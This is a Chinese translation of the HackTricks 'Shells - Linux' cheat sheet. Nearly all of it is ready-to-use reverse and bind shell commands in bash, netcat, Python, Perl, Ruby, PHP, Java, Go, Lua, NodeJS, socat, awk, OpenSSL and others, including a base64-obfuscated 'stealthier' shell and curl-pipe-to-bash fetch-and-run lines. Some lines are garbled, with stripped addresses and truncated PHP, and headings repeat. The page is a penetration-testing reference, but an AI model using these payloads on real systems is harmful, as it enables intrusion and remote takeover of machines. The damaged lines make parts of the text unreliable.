# Shells - Linux
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**如果您对这些shell有任何疑问,可以使用** [**https://explainshell.com/**](https://explainshell.com) **进行检查**
## 完整TTY
**一旦您获得反向shell**[ **阅读此页面以获取完整TTY**](full-ttys.md)**。**
## Bash | sh
```bash
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp// 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196
exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; done
#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0
```
### 符号安全的shell
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp// 0>&1'
#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
#### Shell解释
1. **`bash -i`**: 此部分命令启动一个交互式 (`-i`) Bash shell。
2. **`>&`**: 此部分命令是将**标准输出** (`stdout`) 和**标准错误** (`stderr`) **重定向到同一目的地**的简写表示。
3. **`/dev/tcp/<攻击者IP>/<端口>`**: 这是一个特殊文件,**表示与指定IP地址和端口的TCP连接**。
* 通过**将输出和错误流重定向到此文件**,该命令有效地将交互式shell会话的输出发送到攻击者的机器。
4. **`0>&1`**: 此部分命令**将标准输入 (`stdin`) 重定向到与标准输出 (`stdout`) 相同的目的地**。
### 创建文件并执行
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```
## 正向 Shell
在处理基于 Linux 的 Web 应用中的 **远程代码执行 (RCE)** 漏洞时,通过网络防御措施如 iptables 规则或复杂的数据包过滤机制可能会阻碍反向 shell 的获取。在这种受限制的环境中,一种替代方法是建立一个 PTY(伪终端)shell,以更有效地与受损系统进行交互。
一个推荐的工具是 [toboggan](https://github.com/n3rada/toboggan.git),它简化了与目标环境的交互。
要有效地利用 toboggan,创建一个针对目标系统 RCE 上下文的 Python 模块。例如,一个名为 `nix.py` 的模块可以按以下结构组织:
```python3
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
```
然后,您可以运行:
```shell
toboggan -m nix.py -i
```
直接利用交互式shell。您可以添加`-b`以进行Burpsuite集成,并删除`-i`以获得更基本的rce包装。
另一种可能性是使用`IppSec`的前向shell实现[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)。
您只需要修改:
- 受攻击主机的URL
- 您的有效负载的前缀和后缀(如果有的话)
- 发送有效负载的方式(头部?数据?额外信息?)
然后,您可以**发送命令**,甚至**使用`upgrade`命令**来获得完整的PTY(请注意,管道的读取和写入会有大约1.3秒的延迟)。
## Netcat
```bash
nc -e /bin/sh
nc | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f
nc | /bin/bash | nc
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe
```
## gsocket
在 [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) 进行检查
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet(Telecommunication Network)是一种用于远程登录的协议。 Telnet客户端将用户的键盘输入发送到Telnet服务器,服务器将响应发送回客户端。 Telnet是一种明文协议,因此不建议在不安全的网络上使用。
```bash
telnet | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f
telnet | /bin/bash | telnet
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe
```
## Whois
**攻击者**
```bash
while true; do nc -l ; done
```
将命令写下来,按回车,然后按CTRL+D(停止STDIN)
**受害者**
```bash
export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done
```
## Python
## Python
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```
## Perl
Perl是一种流行的脚本编程语言,广泛用于系统管理、网络编程和安全测试。Perl脚本通常以.pl为扩展名。Perl在渗透测试中经常用于编写自定义脚本和工具,以执行各种任务,如信息收集、漏洞利用和后渗透阶段的操作。Perl具有强大的文本处理能力和模块化特性,使其成为渗透测试人员的首选工具之一。
```bash
perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
## Ruby
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## PHP
PHP是一种流行的服务器端脚本语言,特别适用于Web开发。
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
$sock, 1=>$sock, 2=>$sock), $pipes); ?>
/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
```
## Java
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
## Ncat
Ncat is a feature-packed networking utility that reads and writes data across networks from the command line. It supports various protocols and offers many advanced features, making it a powerful tool for network debugging and exploration.
```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
## Golang
Golang是一种由Google开发的编程语言。
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
Lua是一种轻量级、高效的脚本语言,常用于嵌入式系统和游戏开发中。 Lua脚本可以通过解释器执行,也可以编译成字节码运行。 Lua具有简洁的语法和强大的扩展能力,被广泛应用于各种领域。 Lua脚本可以通过调用C函数扩展其功能,使其更加灵活和强大。 Lua的设计目标是提供一种简单、灵活、高效的脚本语言,适用于各种应用场景。
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## NodeJS
## NodeJS
```javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
## OpenSSL
攻击者(Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response
```
受害者
```bash
#Linux
openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect :
#Windows
openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect :
```
## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### 绑定 shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP::1337
```
### 反向 shell
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
## Awk
```bash
awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
## Finger
**攻击者**
```bash
while true; do nc -l 79; done
```
将命令写下来,按回车,然后按CTRL+D(停止STDIN)
**受害者**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
## Gawk
## Gawk
Gawk是一个功能强大的文本处理工具,可以用于处理文本数据、生成报告和提取信息。
```bash
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
```
## Xterm
这将尝试连接到您系统的6001端口:
```bash
xterm -display 10.0.0.1:1
```
要捕获反向 shell,您可以使用以下命令(将监听端口设置为 6001):
```bash
# Authorize host
xhost +targetip
# Listen
Xnest :1
```
## Groovy
由[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意:Java反向shell也适用于Groovy
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
## 参考资料
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
从零开始学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!
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* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。